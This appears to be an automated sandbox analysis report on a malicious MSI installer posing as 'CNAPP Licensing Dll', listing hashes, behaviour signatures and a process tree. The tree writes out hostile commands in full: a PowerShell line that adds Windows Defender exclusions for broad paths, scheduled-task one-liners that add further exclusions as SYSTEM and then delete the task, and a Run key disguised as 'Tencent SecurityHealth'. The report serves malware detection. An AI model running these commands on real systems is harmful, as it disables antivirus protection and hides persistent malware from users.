Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
29/07/2026, 15:16
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Install_28n023.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
Install_28n023.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target Install_28n023.msi
- Size 9.5MB
- Sample260729-snmrmsae28
- SHA256 35581953779fb84c3aa498328e4947e08d523861110ae80c39b47b39a23f6627
- MD5 c2990271f5a89ebe60e90755b2cc6415
- SHA1 e19e626281a4e14341d738b8734b39cbccb83e7e
- SHA512 3d424f9885c694643362971d9b312203dc3dac4ca6a66da2cef1b349d02383f5b2c55511d883e26e56b438bbcb2ade1b9c744a34b8f050e1b4e24523ff621495
- SSDEEP 196608:dzqVHuTf6bLcf2T7sqTYNLa+NdwprkZkyzT39f04FnGq0QrtoJ5kJh17:dUOOvc+CLaoSylLUq0QhSG
- TLSH T1DDA633D1798433B9C36BCBB45212B97C7D693F51F6AA4E0B378D3600ADB13126A72394
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\eTpEty = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4340 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 936 qtOMuo.exe - Loads dropped DLL 2 IoCs
pid Process 248 MsiExec.exe 936 qtOMuo.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\eTpEty\\qtOMuo.exe\"" qtOMuo.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 248 MsiExec.exe 3 248 MsiExec.exe 4 248 MsiExec.exe 5 248 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4476 cmd.exe 4600 cmd.exe 2456 cmd.exe 1076 cmd.exe 1856 cmd.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b qtOMuo.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI6C7C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6D67.tmp msiexec.exe File created C:\Windows\Installer\e59676d.msi msiexec.exe File created C:\Windows\SystemTemp\~DF4DBB653C2464DCC6.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DFC4270380CF8C5170.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe File created C:\Windows\SystemTemp\~DF9CBE245C8CB136F9.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF7A5BFCBDF7381932.TMP msiexec.exe File created C:\Windows\Installer\e59676b.msi msiexec.exe File opened for modification C:\Windows\Installer\e59676b.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3312 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1712 cmd.exe 4576 cmd.exe 1260 cmd.exe 2524 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000508ea0cb0cbd3e300000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801508ea0cb0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101508ea0cb000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3508ea0cb00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6508ea0cb00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n023.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "40C1EF5B7E2423040BC58F8DEDAC9B83" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5912 schtasks.exe 3860 schtasks.exe 4916 schtasks.exe 6016 schtasks.exe 5584 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4564 msiexec.exe 4564 msiexec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 248 MsiExec.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe 936 qtOMuo.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3312 msiexec.exe Token: SeIncreaseQuotaPrivilege 3312 msiexec.exe Token: SeSecurityPrivilege 4564 msiexec.exe Token: SeCreateTokenPrivilege 3312 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3312 msiexec.exe Token: SeLockMemoryPrivilege 3312 msiexec.exe Token: SeIncreaseQuotaPrivilege 3312 msiexec.exe Token: SeMachineAccountPrivilege 3312 msiexec.exe Token: SeTcbPrivilege 3312 msiexec.exe Token: SeSecurityPrivilege 3312 msiexec.exe Token: SeTakeOwnershipPrivilege 3312 msiexec.exe Token: SeLoadDriverPrivilege 3312 msiexec.exe Token: SeSystemProfilePrivilege 3312 msiexec.exe Token: SeSystemtimePrivilege 3312 msiexec.exe Token: SeProfSingleProcessPrivilege 3312 msiexec.exe Token: SeIncBasePriorityPrivilege 3312 msiexec.exe Token: SeCreatePagefilePrivilege 3312 msiexec.exe Token: SeCreatePermanentPrivilege 3312 msiexec.exe Token: SeBackupPrivilege 3312 msiexec.exe Token: SeRestorePrivilege 3312 msiexec.exe Token: SeShutdownPrivilege 3312 msiexec.exe Token: SeDebugPrivilege 3312 msiexec.exe Token: SeAuditPrivilege 3312 msiexec.exe Token: SeSystemEnvironmentPrivilege 3312 msiexec.exe Token: SeChangeNotifyPrivilege 3312 msiexec.exe Token: SeRemoteShutdownPrivilege 3312 msiexec.exe Token: SeUndockPrivilege 3312 msiexec.exe Token: SeSyncAgentPrivilege 3312 msiexec.exe Token: SeEnableDelegationPrivilege 3312 msiexec.exe Token: SeManageVolumePrivilege 3312 msiexec.exe Token: SeImpersonatePrivilege 3312 msiexec.exe Token: SeCreateGlobalPrivilege 3312 msiexec.exe Token: SeBackupPrivilege 4424 vssvc.exe Token: SeRestorePrivilege 4424 vssvc.exe Token: SeAuditPrivilege 4424 vssvc.exe Token: SeBackupPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeBackupPrivilege 2216 srtasks.exe Token: SeRestorePrivilege 2216 srtasks.exe Token: SeSecurityPrivilege 2216 srtasks.exe Token: SeTakeOwnershipPrivilege 2216 srtasks.exe Token: SeBackupPrivilege 2216 srtasks.exe Token: SeRestorePrivilege 2216 srtasks.exe Token: SeSecurityPrivilege 2216 srtasks.exe Token: SeTakeOwnershipPrivilege 2216 srtasks.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe Token: SeTakeOwnershipPrivilege 4564 msiexec.exe Token: SeRestorePrivilege 4564 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3312 msiexec.exe 3312 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3312 msiexec.exe 4564 msiexec.exe 248 MsiExec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 4564 wrote to memory of 2216 4564 msiexec.exe 94 PID 4564 wrote to memory of 248 4564 msiexec.exe 96 PID 936 wrote to memory of 4340 936 qtOMuo.exe 100 PID 936 wrote to memory of 4600 936 qtOMuo.exe 102 PID 4600 wrote to memory of 3860 4600 cmd.exe 105 PID 936 wrote to memory of 2456 936 qtOMuo.exe 106 PID 4600 wrote to memory of 5960 4600 cmd.exe 109 PID 2456 wrote to memory of 4916 2456 cmd.exe 112 PID 4600 wrote to memory of 2888 4600 cmd.exe 113 PID 2456 wrote to memory of 2268 2456 cmd.exe 114 PID 2456 wrote to memory of 4696 2456 cmd.exe 115 PID 936 wrote to memory of 1076 936 qtOMuo.exe 116 PID 1076 wrote to memory of 6016 1076 cmd.exe 118 PID 1076 wrote to memory of 2560 1076 cmd.exe 119 PID 1076 wrote to memory of 4592 1076 cmd.exe 121 PID 936 wrote to memory of 1856 936 qtOMuo.exe 123 PID 1856 wrote to memory of 5584 1856 cmd.exe 125 PID 1856 wrote to memory of 3136 1856 cmd.exe 127 PID 1856 wrote to memory of 2104 1856 cmd.exe 129 PID 936 wrote to memory of 4476 936 qtOMuo.exe 131 PID 4476 wrote to memory of 5912 4476 cmd.exe 133 PID 4476 wrote to memory of 1444 4476 cmd.exe 134 PID 4476 wrote to memory of 4448 4476 cmd.exe 136 PID 1260 wrote to memory of 1108 1260 cmd.exe 137 PID 4576 wrote to memory of 6028 4576 cmd.exe 140 PID 2524 wrote to memory of 3592 2524 cmd.exe 141 PID 1712 wrote to memory of 3532 1712 cmd.exe 142 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n023.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3312
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2216
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding E5D5CD2096403D9C08A4A21AAB170C05 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:248
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:2564
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C:\Users\Public\eTpEty\qtOMuo.exe"C:\Users\Public\eTpEty\qtOMuo.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:4340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eTpEty\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\eTpEty\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3860
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5960
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2888
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4916
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2268
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4696
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6016
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2560
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5584
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3136
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2104
